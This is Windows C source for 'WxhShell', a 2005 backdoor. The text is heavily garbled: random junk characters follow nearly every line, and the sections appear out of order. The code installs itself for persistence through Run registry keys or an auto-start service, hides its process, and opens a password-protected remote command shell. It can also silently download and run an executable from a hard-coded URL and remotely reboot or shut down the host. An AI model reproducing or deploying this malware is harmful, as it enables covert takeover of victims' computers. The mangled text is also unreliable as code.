} PROCESS_BASIC_INFORMATION; 7RDfhKdb
4s%vx]E
PROCNTQSIP NtQueryInformationProcess; ]^E<e!z={$
IL&Mf9m
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YGNO]Q~A
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4OC^IS
jsjH.O
HANDLE hProcess; L_Ff*
PROCESS_BASIC_INFORMATION pbi; e![n$/E3R
vDqmD{%4N
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TU^UR}=lP
if(NULL == hInst ) return 0; eqg|bc[i!t
'
FF@I^O
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); REli`"bR
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yd'>Mw
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5hg:@i',
;3 O0O
if (!NtQueryInformationProcess) return 0; 1o
V\QK&
g>cp;co9g
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =:uK$>[
if(!hProcess) return 0; X=8y$Yy
}f/ 1
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0p)#!$
S&q@M
CloseHandle(hProcess); 9-5H~<}fF
4v_<<l
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wL\OAM6R
if(hProcess==NULL) return 0; "@#^/m)
Rq|7$O5
HMODULE hMod; 59 R;n.Q
char procName[255]; !#Ub*qY1Z
unsigned long cbNeeded; i]Njn k
@l41'?m
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tZB"(\
(p>?0h9[
CloseHandle(hProcess); TgoaEufS<
]ri5mnB
if(strstr(procName,"services")) return 1; // 以服务启动 )[oegfnn-
N2#Wyt8MC
return 0; // 注册表启动 s IJl9
} dG2k4 O
Arc6d5Q
// 主模块 aA7}>
int StartWxhshell(LPSTR lpCmdLine) yS'W ss
{ K&3,J7&&
SOCKET wsl; ^ ~'&K e
BOOL val=TRUE; '1+s^Q'pc
int port=0; d| ;S4m`
struct sockaddr_in door; 0%&ZR=y(G
B]iPixA6
if(wscfg.ws_autoins) Install(); piULIZ0
n@[_lNa4GD
port=atoi(lpCmdLine); Se{x-vn?p
z@Pv~"
if(port<=0) port=wscfg.ws_port; l|RBO+}
KPHtD4
WSADATA data; K2|2Ks_CS
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |Tv}leJF
Xt}
4B#
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; H{hd1
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $lVR6|n
door.sin_family = AF_INET; W T~UEK'
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 79`OB##
door.sin_port = htons(port); 1 etl:gcEC
+-2o b90_m
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :8h\x
closesocket(wsl); -Y>,\VEK
return 1; v]{F.N
} vxE#6
`xv2,Z9<
if(listen(wsl,2) == INVALID_SOCKET) { UI2TW)^2
closesocket(wsl); /oL&
<e
return 1; pW5ch"HE
} #!?jxfsFa
Wxhshell(wsl); H?oBax:
WSACleanup(); B!+rO~
ad)jw:n
return 0; /]pJ(FFC
xbqFek$/r
} J,(@1R]KF:
*yl?M<28
// 以NT服务方式启动 #z6[8B
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G`D rY;
{ x%_VzqR`
DWORD status = 0; =
y@*vl
DWORD specificError = 0xfffffff; RG&t0%yj}
8FT]B/^&m
serviceStatus.dwServiceType = SERVICE_WIN32; #ME!G/
serviceStatus.dwCurrentState = SERVICE_START_PENDING; T3wQ Rn
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \3"jW1Wb
serviceStatus.dwWin32ExitCode = 0; NTWy1
serviceStatus.dwServiceSpecificExitCode = 0; aC90IJ8^
serviceStatus.dwCheckPoint = 0; ml,FBBGq|-
serviceStatus.dwWaitHint = 0; Ah2*7@U
/aTW X
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {{6D4M|s
if (hServiceStatusHandle==0) return; Kd r7 V
u*}ltR~/
status = GetLastError(); atiyQuT6Wh
if (status!=NO_ERROR) <?Ln`,Duk
{ pl}nbY
serviceStatus.dwCurrentState = SERVICE_STOPPED; C]EkVcKFA
serviceStatus.dwCheckPoint = 0; *c<6 Er>s
serviceStatus.dwWaitHint = 0; OI^??joQ
serviceStatus.dwWin32ExitCode = status; ^ YOCHXg
serviceStatus.dwServiceSpecificExitCode = specificError; PfR|\{(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2t7P| b~V1
return; g?.y7!m
} ]SC|%B_*
R?t_tmKXC!
serviceStatus.dwCurrentState = SERVICE_RUNNING; vmzc0J+3p
serviceStatus.dwCheckPoint = 0; Yj CH KI"e
serviceStatus.dwWaitHint = 0; q@Aw]Kh
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6,;dU-A +
} `.z"Q%uz
\OJam<hZ
// 处理NT服务事件,比如:启动、停止 .} O@<t
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8$F"!dc _
{ I1pnF61U
switch(fdwControl) ,B~5;/|
{ 57wHo[CJ
case SERVICE_CONTROL_STOP: 'aWqj+Wbh
serviceStatus.dwWin32ExitCode = 0; **V8a-@
serviceStatus.dwCurrentState = SERVICE_STOPPED; n!dXjInV
serviceStatus.dwCheckPoint = 0; yJK:4af;.
serviceStatus.dwWaitHint = 0; R 7h^
@
{ [I?[N.v
SetServiceStatus(hServiceStatusHandle, &serviceStatus); G! Y
l0Zr
} U)[LKO1
return; C:AD ZJL
case SERVICE_CONTROL_PAUSE: -aq3Lqi
serviceStatus.dwCurrentState = SERVICE_PAUSED; ?6Wv["%
break; q4ttmL8
case SERVICE_CONTROL_CONTINUE: R-Ys<;
serviceStatus.dwCurrentState = SERVICE_RUNNING; Q7.jSL6
break; 2YDD`:R
case SERVICE_CONTROL_INTERROGATE: x2,;ar\D
break; Cnr=1E=
}; v M'!WVs
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6:~<L!`&
} Sse%~:FL
7@&mGUALO
// 标准应用程序主函数 9^u}~e
#(
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
J8-K
{ 7W'&v+\
`?{6L#
// 获取操作系统版本 q`'m:{8
OsIsNt=GetOsVer(); cQkj{u
GetModuleFileName(NULL,ExeFile,MAX_PATH); )K8^}L,
+Wl]1
c/
// 从命令行安装 uO>x"D5tZ:
if(strpbrk(lpCmdLine,"iI")) Install(); 7Ll?#eun
Q45gC28x
// 下载执行文件 QQ`tSYgex
if(wscfg.ws_downexe) { m@Dra2Cv'@
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o~<jayqU
WinExec(wscfg.ws_filenam,SW_HIDE); D<hX%VJ%M
} TMGYNb%<bX
ihJ!]#Fbm
if(!OsIsNt) { ch2m Ei(
// 如果时win9x,隐藏进程并且设置为注册表启动 H&8~"h6n
HideProc(); s#'Vasu
StartWxhshell(lpCmdLine); Kton$%Li
} Egz6rRCvg
else 1Ys)b[:
if(StartFromService()) \QQWh wE
// 以服务方式启动 &xt[w>/i
StartServiceCtrlDispatcher(DispatchTable); w~_ycY.e
else 2 OV$M~
// 普通方式启动 l{*m-u 5&;
StartWxhshell(lpCmdLine); pIV|hb!G
<FX]n<
return 0; ow
} Zor!hc0<
=),O ;M
T
Xiu/g(
,SPgop'
=========================================== }3,
4B-8!
S\]9mHJI
.820~b0
VDro(?p8Z
y #C9@C
H,W8JNPs
" zB`J+r;LU
pP#D*hiP-g
#include <stdio.h> /Xj{]i3{
#include <string.h> k( Ik+=u
#include <windows.h> h oO847
#include <winsock2.h> Ml9m#c
#include <winsvc.h> kL8E#
#include <urlmon.h> q{Gh5zg5O
'%ByFZzi
#pragma comment (lib, "Ws2_32.lib") +1I7K|M
#pragma comment (lib, "urlmon.lib") {Mj- $G"
KwV!smi2
#define MAX_USER 100 // 最大客户端连接数 Z
t4q=
Lr
#define BUF_SOCK 200 // sock buffer B uso
`G
#define KEY_BUFF 255 // 输入 buffer r;)31Tg
#eN2{G=4+
#define REBOOT 0 // 重启 e|W;(@$<
#define SHUTDOWN 1 // 关机 H0 Zo.Np
j D*<M/4
#define DEF_PORT 5000 // 监听端口 /NjBC[P
auB
931|
#define REG_LEN 16 // 注册表键长度 :{^~&jgL
#define SVC_LEN 80 // NT服务名长度 c#CV5J\Kk3
*3P+K:2lNG
// 从dll定义API &^K(9"
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :Tv>)N
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H)h^|A/vO
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *DvX||`&
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g-jg;Ri
oOc-1C
y
// wxhshell配置信息 dl3;A_ 2
struct WSCFG { +*xc4
int ws_port; // 监听端口 r`"T{o\e
char ws_passstr[REG_LEN]; // 口令 %sPze]
int ws_autoins; // 安装标记, 1=yes 0=no wd32q7lGo1
char ws_regname[REG_LEN]; // 注册表键名 j^;P=L0=
char ws_svcname[REG_LEN]; // 服务名 GqNOWK2O
char ws_svcdisp[SVC_LEN]; // 服务显示名 "+4Jmf9
char ws_svcdesc[SVC_LEN]; // 服务描述信息 00'SceL=`
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8ki3>"!A
int ws_downexe; // 下载执行标记, 1=yes 0=no mR|5$1[b
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4!OGNr$V@
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pEz^z9
WtKKdL
}; ?&zi{N
r7].48D
// default Wxhshell configuration 5!S#}=f=
struct WSCFG wscfg={DEF_PORT, gvc/Z <Y
"xuhuanlingzhe", 6FJ*eWPC
1, ,\X! :y~
"Wxhshell", 2z"<m2a
"Wxhshell", q5S_B]|
"WxhShell Service", { `Z~T&}~T
"Wrsky Windows CmdShell Service", <"6\\#}VG
"Please Input Your Password: ", [3qH?2&
1, (]\p'%A)
"http://www.wrsky.com/wxhshell.exe", w &T\8k=
"Wxhshell.exe" Q"U%]2@=
}; *U6+b
fzw:[z:%
// 消息定义模块 u{va2n/
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q]C_idK=
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8X.=
6M
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9_d#F'#F
char *msg_ws_ext="\n\rExit."; U,p'<rmS
char *msg_ws_end="\n\rQuit."; [0105l5
char *msg_ws_boot="\n\rReboot..."; ~4Gc~ "
char *msg_ws_poff="\n\rShutdown..."; jUKMDlH
char *msg_ws_down="\n\rSave to "; '(C+qwdRv
AX%}ip[PC
char *msg_ws_err="\n\rErr!"; ,52Lm=n
char *msg_ws_ok="\n\rOK!"; Tn/Z s|
Cse`MP
char ExeFile[MAX_PATH]; ?>{u@tYL
int nUser = 0; T@{ab1KV
HANDLE handles[MAX_USER]; Y 'm;xA
int OsIsNt; ]\ !ka/%
/*>}y$
SERVICE_STATUS serviceStatus; YmFg#eS
SERVICE_STATUS_HANDLE hServiceStatusHandle; t:V._@
o?m1
// 函数声明 n*ShYsc
int Install(void); ?<^8,H
int Uninstall(void); V sxI
int DownloadFile(char *sURL, SOCKET wsh); l'_]0%o]
int Boot(int flag); IDJ2epW*;
void HideProc(void); ^X+qut+~
int GetOsVer(void); [e
ztu9
int Wxhshell(SOCKET wsl); *P9" 1K+
void TalkWithClient(void *cs); ,wM}h
int CmdShell(SOCKET sock); 3u[8;1}7Q
int StartFromService(void); !QvmzuK
int StartWxhshell(LPSTR lpCmdLine); T fkGkVR
P(Rl/eyRM
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W|Sab$h
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Iox )-
2Sa{=x
N)
// 数据结构和表定义 `JDZR:bMaT
SERVICE_TABLE_ENTRY DispatchTable[] = ZiQ<SSo:
{ ?!jJxhK<h
{wscfg.ws_svcname, NTServiceMain}, YkMFU'?[
{NULL, NULL} 0Fon`3(^\
}; \-]tvgA~&
n.a2%,|v
// 自我安装 H"^9g3U
int Install(void) f OR9 N/
{ u&c%L0)E&
char svExeFile[MAX_PATH]; jQ'g'c!
HKEY key; EVZ1Z
strcpy(svExeFile,ExeFile); `pCy:J?d>l
LTzdg >\oJ
// 如果是win9x系统,修改注册表设为自启动 @v@F%JCZ
if(!OsIsNt) { _eq$C=3Ta
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #BcUE?K*N
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 41d+z>a]
RegCloseKey(key); <z2.A/L
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6'N_bNW
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QtG6v<A
RegCloseKey(key); zI,Qc60B
return 0; Y DHP-0?
} (pv}>1
} XD8I.q
} onRTX|#
else { R_g(6l"3R^
UP)<(3YA
// 如果是NT以上系统,安装为系统服务
ebJTrh <{
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'Ca;gi !U
if (schSCManager!=0) ;b=diZE
{ R= mTJ'y
SC_HANDLE schService = CreateService ^o _J0
]m
( ^78N25RU(
schSCManager, ;Wy03}K4J
wscfg.ws_svcname, -N^Ah_9ek
wscfg.ws_svcdisp, t7u*j-YE
SERVICE_ALL_ACCESS, J;>~PXB
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,D }Ka?
SERVICE_AUTO_START, )4qspy3
SERVICE_ERROR_NORMAL, \xggIW.^0
svExeFile, ?)(/SZC0
NULL, ]o"E4Vht
NULL, X[tB ^`
NULL, oz.z>+Q
NULL, bcy
NULL
X)iI]
); i}C%8}%
if (schService!=0) -hm/lxyU
{ y7!&
CloseServiceHandle(schService); +:ms`Sr>
CloseServiceHandle(schSCManager); w.J$(o(/
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `W@jo~y<
strcat(svExeFile,wscfg.ws_svcname); L-}Uj^yF
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pGR3
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3b0|7@_E
RegCloseKey(key); ohx$;j
return 0; |4pl}:g/Z
} ?qSwV.l]d
} fUY05OMZ
CloseServiceHandle(schSCManager); _6c/,a8;*J
} GXD<X_[
} A g+B*
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